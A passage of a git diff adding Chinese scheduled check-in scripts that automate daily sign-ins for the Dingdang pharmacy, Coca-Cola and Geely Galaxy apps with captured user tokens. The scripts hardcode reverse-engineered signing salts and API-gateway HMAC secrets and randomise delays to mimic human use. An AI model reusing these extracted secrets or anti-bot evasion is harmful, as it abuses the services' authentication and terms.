{}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js b/脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js new file mode 100644 index 0000000..7981a98 --- /dev/null +++ b/脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js @@ -0,0 +1,174 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ddsy.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ddsy.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/ddsy.js +// # UploadedAt: 2026-04-08T12:07:12Z +// # SHA256: fe6024e5df3346dc299105afad55186525603469161422bd75b8172e97cde086 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 叮当快药 +cron: 9 9 * * * +------------------------------------------ +#Notice: +变量值:https://hapi.ddky.com/mcp/weixin/rest.htm?后面的loginToken&userId&uDate 多账户换行或者&分隔 +网页版登录 https://m.ddky.com/ +小程序登录叮当快药 +APP 都可以找到这三个值 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("叮当快药"); +let ckName = `ddky`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.token = env.split(strSplitor)[0]; //单账号多变量分隔符 + + this.userId = env.split(strSplitor)[1]; + this.uDate = env.split(strSplitor)[2]; + + } + + async run() { + + await this.getSignInId() + } + + getSign(s) { + const crypto = require("crypto");//SIGN TYPE 1是签到 2是补签 + return crypto.createHash('md5').update(s).digest('hex'); + } + getTime() { + var now = new Date(); + var year = now.getFullYear() + , month = now.getMonth() + 1 + , day = now.getDate() + , hours = now.getHours() + , minutes = now.getMinutes() + , seconds = now.getSeconds(); + return year + '-' + month + '-' + day + ' ' + hours + ':' + minutes + ':' + seconds; + } + getSignDay() { + var now = new Date(); + var year = now.getFullYear() + , month = now.getMonth() + 1 + , day = now.getDate() + return year + '-' + month + '-' + day + } + async getSignInId() { + const time = this.getTime() + const method = `ddky.promotion.signin.pageinfo` + const signDay = this.getSignDay() + const str = method + + `loginToken${this.token}` + + `method${method}` + + `platH5` + + `platformH5` + + `signDay${signDay}` + + `t${time}` + + `uDate${this.uDate}` + + `userId${this.userId}` + + `v1.0` + + `versionName4.9.0` + + `6C57AB91A1308E26B797F4CD382AC79D` + let sign = (this.getSign(str)).toUpperCase(); + let callbackStr = new Date().getTime() + try { + let options = { + url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&loginToken=${this.token}&method=${method}&plat=H5&platform=H5&signDay=${signDay}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`, + headers: {}, + } + let { data: response } = await axios.request(options); + let result = response.replace(`Zepto${callbackStr}`, "") + result = result.replaceAll("(", "") + result = result.replaceAll(")", "") + result = JSON.parse(result) + if (result.code = "0") { + await this.sign(result.result.signDayVo.signinId) + } + + } catch (e) { + console.log(e); + } + } + async sign(signInId) { + let callbackStr = new Date().getTime() + const time = this.getTime() + const str = `ddky.promotion.signin.sign` + `channelH5` + `laterSignType1` + `loginToken${this.token}` + `methodddky.promotion.signin.sign` + + `platH5` + `platformH5` + `signinId${signInId}` + `t${time}` + `uDate${this.uDate}` + `userId${this.userId}` + `v1.0` + `versionName4.9.0` + + `6C57AB91A1308E26B797F4CD382AC79D` + let sign = (this.getSign(str)).toUpperCase(); + try { + let options = { + url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&channel=H5&laterSignType=1&loginToken=${this.token}&method=ddky.promotion.signin.sign&plat=H5&platform=H5&signinId=${signInId}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`, + headers: {}, + } + let { data: response } = await axios.request(options); + let result = response.replace(`Zepto${callbackStr}`, "") + result = result.replaceAll("(", "") + result = result.replaceAll(")", "") + result = JSON.parse(result) + if (result.code = "0") { + $.log(`签到横杠`) + } + } catch (e) { + console.log(e); + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js b/脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js new file mode 100644 index 0000000..4401b35 --- /dev/null +++ b/脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js @@ -0,0 +1,203 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/kekoukele.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/kekoukele.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/kekoukele.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: a6adebfbf1d5fd5ca3a0211939913a9473d53d96cf256c371711c17bdcc3c319 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * 1 +------------------------------------------ +#Notice: +可口可乐 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:kekoukele +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("可口可乐小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `kekoukele`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wxa5811e0426a94686', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + await this.userInfo() + await this.addSign() + } + async getUserToken(code) { + let options = { + method: 'GET', + url: 'https://member-api.icoke.cn/api/sp-portal/store/icoke/wechat/loginNoCache/' + code, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Accept': 'application/json, text/plain, */*', + 'xweb_xhr': '1', + 'Content-Type': 'application/json', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxa5811e0426a94686/496/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + } + }; + + let { + data: result + } = await axios.request(options); + + if (result?.jwtString) { + this.token = result?.jwtString + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.message}❌`) + } + } + async addSign() { + let options = { + method: "GET", + url: "https://member-api.icoke.cn/api/icoke-sign/icoke/mini/sign/main/sign", + headers: { + "accept": "application/json, text/plain, */*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token, + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", + "Referrer-Policy": "unsafe-url" + }, + + } + try { + let { data: res } = await axios.request(options); + if (res.success == true) { + $.log(`签到成功 获得【${res.point}】快乐瓶`) + } else { + $.log(`签到失败`) + console.log(res); + } + } catch (e) { + console.log(e); + + } + } + async userInfo() { + let options = { + method: "GET", + url: "https://member-api.icoke.cn/api/icoke-customer/icoke/mini/customer/main/points", + headers: { + "accept": "application/json, text/plain, */*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token, + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", + "Referrer-Policy": "unsafe-url" + }, + + } + try { + let { data: res } = await axios.request(options); + $.log(`目前还剩【${res.point}】瓶 `) + + } catch (e) { + console.log(e); + + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js b/脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js new file mode 100644 index 0000000..345f70c --- /dev/null +++ b/脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js @@ -0,0 +1,354 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/jlyh.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlyh.js +// # Repo: smallfawn/QLScriptPublic +// # Path: jlyh.js +// # UploadedAt: 2026-04-01T11:27:33Z +// # SHA256: 374b7879e8b8e4f6d3ebc15a5585c52c1fedf363edb271c3e6f1d67d3ae1d84b +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * new Env("吉利银河") + * cron 08 15 * * * jlyh.js + * Show: + * 变量名:jlyh + * 变量值:抓域名https://galaxy-user-api.geely.com/api/v1/login/refresh?refreshToken=后面的值&请求头headers中deviceSN的值 + * 抓不到这个域名抓短信登录包 https://galaxy-user-api.geely.com/api/v1/login/mobileCodeLogin 返回体中的refreshToken的值 + * 注意我说的是值 并不是全部 填错的自己看着点 + * 并且变量是两个值 两个值 两个值 一个refreshToke的值一个header请求头中的deviceSN的值 + * scriptVersionNow = "0.0.1"; + */ + +let Notify = 0; +const ckName = "jlyh"; +const $ = new Env("吉利银河"); +let msg = ""; + +class UserInfo { + constructor(str) { + this.ckStatus = true; + this.token = ''; + this.refreshToken = str.split('&')[0]; // 分隔符 + this.deviceSN = str.split('&')[1]; + } + + // 获取UTC时间 + formatDate(date, hourOffset = 0, minuteOffset = 0) { + const daysOfWeek = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; + const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + const adjustedDate = new Date(date); + adjustedDate.setUTCHours(adjustedDate.getUTCHours() + hourOffset); + adjustedDate.setUTCMinutes(adjustedDate.getUTCMinutes() + minuteOffset); + const dayOfWeek = daysOfWeek[adjustedDate.getUTCDay()]; + const day = ('0' + adjustedDate.getUTCDate()).slice(-2); + const month = months[adjustedDate.getUTCMonth()]; + const year = adjustedDate.getUTCFullYear(); + const hours = ('0' + adjustedDate.getUTCHours()).slice(-2); + const minutes = ('0' + adjustedDate.getUTCMinutes()).slice(-2); + const seconds = ('0' + adjustedDate.getUTCSeconds()).slice(-2); + return `${dayOfWeek} ${month} ${day} ${year} ${hours}:${minutes}:${seconds} GMT`; + } + + // 请求头加密参数处理 + calculateHmacSha256(method, accept, content_md5, content_type, date, key, nonce, timestamp, path) { + const crypto = require('crypto'); + let ee = `${method}\n` +// method + `${accept}\n` +// accept + `${content_md5}\n` +// content_md5 + `${content_type}\n` +// content_type + `${date}\n` +// date + `x-ca-key:${key}\n` + + `x-ca-nonce:${nonce}\n` +// nonce + `x-ca-timestamp:${timestamp}\n` +// timestamp + `${path}`// path + let sercetKey + if (key == 204453306) { + sercetKey = `uUwSi6m9m8Nx3Grx7dQghyxMpOXJKDGu` + } else if (key == 204373120) { + sercetKey = `XfH7OiOe07vorWwvGQdCqh6quYda9yGW` + } else if (key == 204167276) { + sercetKey = `5XfsfFBrUEF0fFiAUmAFFQ6lmhje3iMZ` + } else if (key == 204168364) { + sercetKey = `NqYVmMgH5HXol8RB8RkOpl8iLCBakdRo` + } else if (key == 204179735) { + sercetKey = `UhmsX3xStU4vrGHGYtqEXahtkYuQncMf` + } + const hmacSha256 = crypto.createHmac('sha256', sercetKey); + hmacSha256.update(ee); + const encryptedData = hmacSha256.digest(); + return encryptedData.toString('base64'); + } + + // UUID生成 + generateUUID() { + const alphanumeric = "0123456789abcdef"; + const sections = [8, 4, 4, 4, 12]; + let uuid = ""; + for (let i = 0; i < sections.length; i++) { + for (let j = 0; j < sections[i]; j++) { + uuid += alphanumeric[Math.floor(Math.random() * alphanumeric.length)]; + } + if (i !== sections.length - 1) { + uuid += "-"; + } + } + return uuid; + } + + // Post请求构建 + getPostHeader(key, path, body) { + const crypto = require('crypto'); + function calculateContentMD5(requestBody) { + const byteArray = Buffer.from(requestBody, 'utf8'); + const md5Digest = crypto.createHash('md5').update(byteArray).digest(); + const md5Base64 = md5Digest.toString('base64'); + return md5Base64; + } + let currentDate = new Date(); + let formattedDate = this.formatDate(currentDate, 0); + let parts = formattedDate.split(" "); + formattedDate = `${parts[0]}, ${parts[2]} ${parts[1]} ${parts[3]} ${parts[4]} GMT`; + let date = new Date(formattedDate) + let timestamp = date.getTime(); + let content_md5 = calculateContentMD5(body); + let uuid = this.generateUUID(); + let signature = this.calculateHmacSha256("POST", "application/json; charset=utf-8", content_md5, "application/json; charset=utf-8", formattedDate, key, uuid, timestamp, path) + let headers = { + 'date': formattedDate, + 'x-ca-signature': signature, + 'x-ca-appcode': 'SWGeelyCode', + 'x-ca-nonce': uuid, + 'x-ca-key': key, + 'ca_version': 1, + 'accept': 'application/json; charset=utf-8', + 'usetoken': 1, + 'content-md5': content_md5, + 'x-ca-timestamp': timestamp, + 'x-ca-signature-headers': 'x-ca-nonce,x-ca-timestamp,x-ca-key', + 'x-refresh-token': true, + 'user-agent': 'ALIYUN-ANDROID-UA', + 'token': this.token, + 'deviceSN': this.deviceSN, + 'txCookie': '', + 'appId': 'galaxy-app', + 'appVersion': '1.27.0', + 'platform': 'Android', + 'Cache-Control': 'no-cache', + 'sweet_security_info': '{"appVersion":"1.27.0","platform":"android"}' , + 'methodtype': '6', + 'contenttype': 'application/json', + 'Content-Type': 'application/json; charset=utf-8', + 'Content-Length': '87', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + } + if (key == 204179735) { + headers["usetoken"] = true + headers["host"] = `galaxy-user-api.geely.com` + delete headers["x-refresh-token"] + headers["taenantid"] = 569001701001 + headers["svcsid"] = "" + } else { + headers["usetoken"] = 1 + headers["host"] = `galaxy-app.geely.com` + headers["x-refresh-token"] = true + } + return headers; + } + + // Get请求构建 + getGetHeader(key, path) { + let currentDate = new Date(); + let formattedDate = this.formatDate(currentDate, 0); + let parts = formattedDate.split(" "); + formattedDate = `${parts[0]}, ${parts[2]} ${parts[1]} ${parts[3]} ${parts[4]} GMT`; + let date = new Date(formattedDate) + let timestamp = date.getTime(); + let uuid = this.generateUUID(); + let signature = this.calculateHmacSha256("GET", "application/json; charset=utf-8", "", "application/x-www-form-urlencoded; charset=utf-8", formattedDate, key, uuid, timestamp, path) + let headers = { + 'date': formattedDate, + 'x-ca-signature': signature, + 'x-ca-nonce': uuid, + 'x-ca-key': key, + 'ca_version': 1, + 'accept': 'application/json; charset=utf-8', + 'usetoken': 1, + 'x-ca-timestamp': timestamp, + 'x-ca-signature-headers': 'x-ca-nonce,x-ca-timestamp,x-ca-key', + 'x-refresh-token': true, + 'content-type': 'application/x-www-form-urlencoded; charset=utf-8', + 'user-agent': 'ALIYUN-ANDROID-UA', + 'token': this.token, + 'deviceSN': this.deviceSN, + 'txCookie': '', + 'appId': 'galaxy-app', + 'appVersion': '1.27.0', + 'platform': 'Android', + 'Cache-Control': 'no-cache', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + } + if (key == 204179735) { + headers["usetoken"] = true + headers["host"] = `galaxy-user-api.geely.com` + delete headers["x-refresh-token"] + headers["taenantid"] = 569001701001 + headers["svcsid"] = "" + } else { + headers["usetoken"] = 1 + headers["host"] = `galaxy-app.geely.com` + headers["x-refresh-token"] = true + } + return headers + } + + // 刷新Key函数 + async refresh_token() { + try { + let options = { + url: `https://galaxy-user-api.geely.com/api/v1/login/refresh?refreshToken=${this.refreshToken}`, + headers: this.getGetHeader(204179735, `/api/v1/login/refresh?refreshToken=${this.refreshToken}`), + }, + result = await httpRequest(options); + if (result.code == 'success') { + console.log(`✅${result.message}: ${result.data.centerTokenDto.token} \n🆗刷新KEY:${result.data.centerTokenDto.refreshToken}`); + this.ckStatus = true; + this.token = result.data.centerTokenDto.token + } else { + $.DoubleLog(`❌ ${result.message}`); + this.ckStatus = false; + console.log(result); + Notify = 1; + } + } catch (e) { + console.log(e) + } + } + + //签到状态查询函数 + async signstate() { + try { + let options = { + url: `https://galaxy-app.geely.com/app/v1/sign/state`, + headers: this.getGetHeader(204453306, `/app/v1/sign/state`), + }; + + let result = await httpRequest(options); + + if (result.code == 0) { + if (result.data === true) { + $.DoubleLog(`✅今日已经签到啦!`); + return true; + } else { + return false; + } + } else { + $.DoubleLog(`❌查询签到状态失败!`); + console.log("⚠️失败原因:", result); + Notify = 1; + return false; + } + } catch (e) { + console.log(e); + return false; + } + } + + //签到函数 + async sign() { + try { + const hasSignedToday = await this.signstate(); + if (hasSignedToday) { + await this.points(); + return; + } + + const body = { + "signType": 0 + }; + + let options = { + url: `https://galaxy-app.geely.com/app/v1/sign/add`, + headers: this.getPostHeader(204453306, `/app/v1/sign/add`, JSON.stringify(body)), + body: JSON.stringify(body) + }; + + let result = await httpRequest(options); + + if (result.code == 0) { + $.DoubleLog(`✅签到成功!`); + await this.points(); + Notify = 1; + } else { + $.DoubleLog(`❌签到失败!`); + console.log("⚠️失败原因:", result); + Notify = 1; + } + } catch (e) { + console.log(e); + } + } + + //查询积分函数 + async points() { + try { + let options = { + url: `https://galaxy-app.geely.com/h5/v1/points/get`, + headers: this.getGetHeader(204453306, `/h5/v1/points/get`), + }, + result = await httpRequest(options); + if (result.code == 0) { + $.DoubleLog(`✅剩余积分: ${result.data.availablePoints}`); + } else { + $.DoubleLog(`❌剩余积分查询: 失败`); + console.log(result); + Notify = 1; + } + } catch (e) { + console.log(e); + } + } +} + +// 变量检查与处理 +!(async () => { + const userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (!userCookie) { + console.log("未找到CK"); + return; + } + const user = new UserInfo(userCookie); + await user.refresh_token(); + if (user.ckStatus) { + await user.sign(); + } else { + $.DoubleLog(`❌账号CK失效`); + } + await $.SendMsg(msg); +})().catch((e) => console.log(e)).finally(() => $.done()); + +// ==================== API ==================== // +function httpRequest(options, method = null) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + if (err) { + console.log(`${method}请求失败`); + $.logErr(err); + } else { + if (data) { + try { data = JSON.parse(data); } catch (error) { } + resolve(data); + } else { + console.log(`请求api返回数据为空,请检查自身原因`); + } + } + resolve(); + }); + }); +} + +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http:// ${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers[""]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && 